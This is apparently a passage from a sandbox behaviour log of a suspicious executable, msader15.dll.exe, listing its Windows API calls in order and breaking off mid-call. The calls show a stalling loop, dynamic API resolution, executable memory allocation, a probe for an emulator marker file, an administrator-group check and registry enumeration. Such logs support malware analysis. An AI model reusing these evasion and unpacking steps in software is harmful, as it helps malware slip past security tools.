CountClipboardFormats () returned 4 [0027.563] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.563] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.563] IsCharLowerA (ch=3) returned 0 [0027.563] CountClipboardFormats () returned 4 [0027.563] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.563] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.563] IsCharLowerA (ch=4) returned 0 [0027.563] CountClipboardFormats () returned 4 [0027.563] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.563] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.563] IsCharLowerA (ch=5) returned 0 [0027.564] CountClipboardFormats () returned 4 [0027.564] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.564] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.564] IsCharLowerA (ch=6) returned 0 [0027.564] CountClipboardFormats () returned 4 [0027.564] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.564] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.564] IsCharLowerA (ch=7) returned 0 [0027.564] CountClipboardFormats () returned 4 [0027.564] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.564] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.564] IsCharLowerA (ch=8) returned 0 [0027.564] CountClipboardFormats () returned 4 [0027.564] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.564] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.564] IsCharLowerA (ch=9) returned 0 [0027.564] CountClipboardFormats () returned 4 [0027.564] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.564] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.564] IsCharLowerA (ch=10) returned 0 [0027.564] CountClipboardFormats () returned 4 [0027.564] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.564] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.564] IsCharLowerA (ch=11) returned 0 [0027.564] CountClipboardFormats () returned 4 [0027.564] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.564] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.564] IsCharLowerA (ch=12) returned 0 [0027.564] CountClipboardFormats () returned 4 [0027.564] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.564] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.565] IsCharLowerA (ch=13) returned 0 [0027.565] CountClipboardFormats () returned 4 [0027.565] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.565] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.565] IsCharLowerA (ch=14) returned 0 [0027.565] CountClipboardFormats () returned 4 [0027.565] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.565] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.565] IsCharLowerA (ch=15) returned 0 [0027.565] CountClipboardFormats () returned 4 [0027.565] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.565] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.565] IsCharLowerA (ch=16) returned 0 [0027.565] CountClipboardFormats () returned 4 [0027.565] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.565] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.565] IsCharLowerA (ch=17) returned 0 [0027.565] CountClipboardFormats () returned 4 [0027.565] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.565] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.565] IsCharLowerA (ch=18) returned 0 [0027.565] CountClipboardFormats () returned 4 [0027.565] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.565] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.565] IsCharLowerA (ch=19) returned 0 [0027.565] CountClipboardFormats () returned 4 [0027.565] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.565] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.565] IsCharLowerA (ch=20) returned 0 [0027.565] CountClipboardFormats () returned 4 [0027.565] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.565] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.565] IsCharLowerA (ch=21) returned 0 [0027.565] CountClipboardFormats () returned 4 [0027.565] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.565] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.566] IsCharLowerA (ch=22) returned 0 [0027.566] CountClipboardFormats () returned 4 [0027.566] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.566] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.566] IsCharLowerA (ch=23) returned 0 [0027.566] CountClipboardFormats () returned 4 [0027.566] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0027.566] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0027.566] IsCharLowerA (ch=24) returned 0 [0027.566] CountClipboardFormats () returned 4 [0027.566] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fb56, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\msader15.dll.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\msader15.dll.exe")) returned 0x36 [0027.567] VarCyFromUI4 (in: ulIn=0xccaf3cc, pcyOut=0x18ff08 | out: pcyOut=0x18ff08) returned 0x0 [0027.573] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fb56, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\msader15.dll.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\msader15.dll.exe")) returned 0x36 [0027.574] Sleep (dwMilliseconds=0x94) [0027.728] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fb30 | out: ProcedureAddress=0x18fb30*=0x76e21856) returned 0x0 [0027.728] VirtualAlloc (lpAddress=0x0, dwSize=0x16100, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0027.730] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fb58 | out: ProcedureAddress=0x18fb58*=0x76e21856) returned 0x0 [0027.730] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x40) returned 0x230000 [0027.731] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x18fb6c | out: ProcedureAddress=0x18fb6c*=0x76e249d7) returned 0x0 [0027.731] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x18fb6c | out: ProcedureAddress=0x18fb6c*=0x76e21222) returned 0x0 [0027.731] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fb6c | out: ProcedureAddress=0x18fb6c*=0x76e21856) returned 0x0 [0027.731] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x18fb6c | out: ProcedureAddress=0x18fb6c*=0x76e2435f) returned 0x0 [0027.731] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76e10000 [0027.731] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0027.732] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0027.732] VirtualProtect (in: lpAddress=0x400000, dwSize=0x27000, flNewProtect=0x40, lpflOldProtect=0x18fc08 | out: lpflOldProtect=0x18fc08*=0x2) returned 1 [0027.733] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x240000 [0027.735] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76e10000 [0027.735] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0027.735] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0027.735] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0028.114] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0028.124] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x1ee0000 [0028.131] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x104) returned 0x1ee07d0 [0028.131] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x80) returned 0x1ee08e0 [0028.132] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x80) returned 0x1ee0968 [0028.132] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x80) returned 0x1ee09f0 [0028.132] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x80) returned 0x1ee0a78 [0028.132] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x80) returned 0x1ee0b00 [0028.132] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x80) returned 0x1ee0b88 [0028.132] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x80) returned 0x1ee0c10 [0028.132] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x80) returned 0x1ee0c98 [0028.132] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x80) returned 0x1ee0d20 [0028.132] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x80) returned 0x1ee0da8 [0028.132] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x80) returned 0x1ee0e30 [0028.132] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x80) returned 0x1ee0eb8 [0028.132] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x80) returned 0x1ee0f40 [0028.132] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x80) returned 0x1ee0fc8 [0028.132] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x80) returned 0x1ee1050 [0028.132] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x80) returned 0x1ee10d8 [0028.132] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x8, Size=0x400) returned 0x1ee1160 [0028.132] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x380000 [0028.132] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x3807d0 [0028.132] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x380858 [0028.132] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x3808e0 [0028.132] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x184) returned 0x380968 [0028.132] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x380af8 [0028.132] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x380b40 [0028.132] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x380b88 [0028.132] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x380bd0 [0028.133] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x380c18 [0028.133] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x380c60 [0028.133] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x380ca8 [0028.133] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x380cf0 [0028.133] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x380d38 [0028.133] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x380d80 [0028.133] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x380dc8 [0028.133] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x380e10 [0028.133] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x380e58 [0028.133] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x380ea0 [0028.133] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x380ee8 [0028.133] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x380f30 [0028.133] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f60c, nSize=0x1000 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\msader15.dll.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\msader15.dll.exe")) returned 0x36 [0028.134] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x380f78 [0028.134] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x38b828 [0028.138] GetVersionExW (in: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0028.138] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18fc14 | out: Wow64Process=0x18fc14) returned 1 [0028.138] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fbf0 | out: TokenHandle=0x18fbf0*=0x90) returned 1 [0028.138] GetTokenInformation (in: TokenHandle=0x90, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbec | out: TokenInformation=0x0, ReturnLength=0x18fbec) returned 0 [0028.139] GetLastError () returned 0x7a [0028.139] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x140) returned 0x38b860 [0028.139] GetTokenInformation (in: TokenHandle=0x90, TokenInformationClass=0x2, TokenInformation=0x38b860, TokenInformationLength=0x118, ReturnLength=0x18fbec | out: TokenInformation=0x38b860, ReturnLength=0x18fbec) returned 1 [0028.139] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18fbfc, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18fbf4 | out: pSid=0x18fbf4*=0x8a1650*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0028.139] EqualSid (pSid1=0x8a1650*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x38b8c4*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 0 [0028.139] EqualSid (pSid1=0x8a1650*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x38b8e0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0028.139] EqualSid (pSid1=0x8a1650*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x38b8ec*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0028.139] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38b860) returned 1 [0028.139] NtClose (Handle=0x90) returned 0x0 [0028.139] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38b860 [0028.140] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38b8a8 [0028.140] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x280) returned 0x38b930 [0028.149] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0028.154] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x38b930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0028.154] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.154] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38bc58 [0028.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x38bc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0028.155] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38bca0 [0028.155] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bc58) returned 1 [0028.155] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bca0) returned 1 [0028.155] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.155] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x38b930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0028.155] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.155] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38bca0 [0028.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x38bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0028.155] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38bc58 [0028.155] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bca0) returned 1 [0028.155] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bc58) returned 1 [0028.155] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.155] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x38b930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0028.155] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.155] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38bc58 [0028.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x38bc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0028.155] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38bca0 [0028.155] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bc58) returned 1 [0028.155] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bca0) returned 1 [0028.155] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.155] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x38b930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0028.155] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.155] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38bca0 [0028.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x38bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0028.155] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38bc58 [0028.155] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bca0) returned 1 [0028.156] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bc58) returned 1 [0028.156] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.156] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x38b930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0028.156] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.156] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38bc58 [0028.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x38bc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0028.156] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38bca0 [0028.156] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bc58) returned 1 [0028.156] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bca0) returned 1 [0028.156] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.156] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x90) returned 0x0 [0028.156] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x184) returned 0x38d040 [0028.156] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38bca0 [0028.156] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38bc58 [0028.156] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38bce8 [0028.156] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38bd30 [0028.156] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38bd78 [0028.156] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38bdc0 [0028.156] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38be08 [0028.156] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38be50 [0028.156] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38be98 [0028.156] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38bee0 [0028.156] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38bf28 [0028.156] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38bf70 [0028.156] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38bfb8 [0028.156] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c000 [0028.156] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c048 [0028.156] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c090 [0028.156] RegCloseKey (hKey=0x80000002) returned 0x0 [0028.157] RegEnumKeyW (in: hKey=0x90, dwIndex=0x0, lpName=0x38b930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0028.157] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0028.157] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x38c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0028.157] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.157] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.157] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.157] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.157] RegEnumKeyW (in: hKey=0x90, dwIndex=0x1, lpName=0x38b930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0028.157] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.157] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, 